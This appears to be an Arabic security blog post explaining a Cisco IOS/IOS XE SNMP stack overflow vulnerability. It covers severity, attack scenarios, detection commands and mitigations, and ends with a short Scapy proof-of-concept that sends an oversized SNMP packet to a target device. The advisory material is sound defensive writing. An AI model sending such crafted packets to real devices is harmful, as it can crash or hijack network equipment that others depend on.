SNMPocalypse-Cisco-Bug-Lets-Hackers-Crash-or-Command-Devices

CVE-2023-20352 هي ثغرة خطيرة من نوع تجاوز سعة المكدس في محرك SNMP لأجهزة Cisco IOS/IOS XE. باستخدام حزم SNMP مصممة فقط، يمكن للمهاجمين عن بُعد تعطيل الأنظمة أو الاستيلاء على التحكم الكامل. جميع إصدارات SNMP معرضة للخطر — قم بالتحديث الآن أو تحمل خطر الاختراق الكامل.

بقلم مارك مالليا

مقدمة حول SNMP

بروتوكول إدارة الشبكات البسيط (SNMP) هو بروتوكول أساسي في إدارة الشبكات، يمكّن مسؤولي الأنظمة من مراقبة وتكوين وإدارة أجهزة الشبكة. يعمل على المنفذين 161 (لطلبات SNMP) و162 (للإشارات). يدعم SNMP ثلاثة إصدارات: v1 وv2c وv3، كل منها يوفر مستويات متفاوتة من الأمان. هذه الثغرة قريبة من قلبي لأن أطروحتي كانت حول SNMP، ولا تزال Cisco جزءًا أساسيًا من عملي اليومي.

تمتد فائدة SNMP إلى المراقبة الفورية وإدارة المخزون واكتشاف الأعطال عبر الشبكات. على الرغم من أهميته، فإن دور SNMP في إدارة الشبكات يشكل أيضًا مخاطر أمنية عندما لا يكون مؤمنًا بشكل صحيح، كما رأينا في ثغرة CVE-2023-20352.

ما الخطأ الذي حدث: شرح CVE-2023-20352

CVE-2023-20352 هي ثغرة عالية الخطورة من نوع تجاوز سعة المكدس تؤثر على أجهزة Cisco IOS وIOS XE. توجد في نظام SNMP الفرعي الذي يعالج حركة مرور إدارة الشبكة.

التفاصيل الفنية:

• نوع الثغرة: تجاوز سعة المكدس (CWE-121)
• درجة CVSS: 7.7 (عالية)
• التأثير: رفض الخدمة المحتمل (DoS) أو تنفيذ كود عن بُعد (RCE)

يتم تفعيل الثغرة عن طريق إرسال حزم SNMP مصممة إلى جهاز معرض، مما يتسبب في فحص حدود غير صحيح وتجاوز سعة المكدس. جميع إصدارات SNMP متأثرة.

سيناريوهات الاستغلال

1. هجوم بصلاحيات منخفضة:

   • الوصول المطلوب: سلسلة قراءة فقط لـ SNMPv2c أو بيانات اعتماد SNMPv3.
   • التأثير: إعادة تحميل الجهاز (DoS).

2. هجوم بصلاحيات عالية:

   • الوصول المطلوب: سلسلة SNMPv1/v2c مع بيانات اعتماد بصلاحية 15.
   • التأثير: تنفيذ كود كامل كجذر (RCE).

الكشف والتحقق

لاكتشاف الثغرات، يمكن للمسؤولين استخدام أوامر CLI التالية:

show running-config | include snmp-server community
show running-config | include snmp-server group
show snmp

تعزيز الأمان: خطوات التخفيف

• تطبيق التصحيحات: أصدرت Cisco تصحيحات برمجية للأنظمة المتأثرة.
• تقييد الوصول إلى SNMP: حدد الوصول إلى عناوين IP الموثوقة إذا لم تكن قيد الاستخدام بالفعل.
• تعطيل OIDs الضعيفة: استخدم أوامر مثل snmp-server view <اسم-العرض> <OID> excluded.

كيف يمكن للمهاجمين استغلالها

مثال PoC مفاهيمي باستخدام Python وScapy يوضح قابلية الاستغلال:

from scapy.all import *

# استبدل بعنوان IP الهدف وسلسلة مجتمع SNMP
target_ip = "192.168.1.1"
community = "public"

# صياغة حزمة ضارة
payload = b"A" * 1024  # تجاوز المخزن المؤقت
packet = IP(dst=target_ip)/UDP(dport=161)/SNMP(community=community, PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)]))

send(packet)

ملاحظة: هذا مثال مبسط. يتطلب الاستغلال الفعلي صياغة دقيقة للحمولة ورفع الصلاحيات.

الخلاصة

تؤكد ثغرة CVE-2023-20352 على الدور الحاسم لـ SNMP والمخاطر المرتبطة به. يجب على المؤسسات إعطاء الأولوية لتطبيق التصحيحات وتأمين تكوينات SNMP للتخفيف من التهديدات، وضمان مرونة الشبكة ضد الهجمات الناشئة.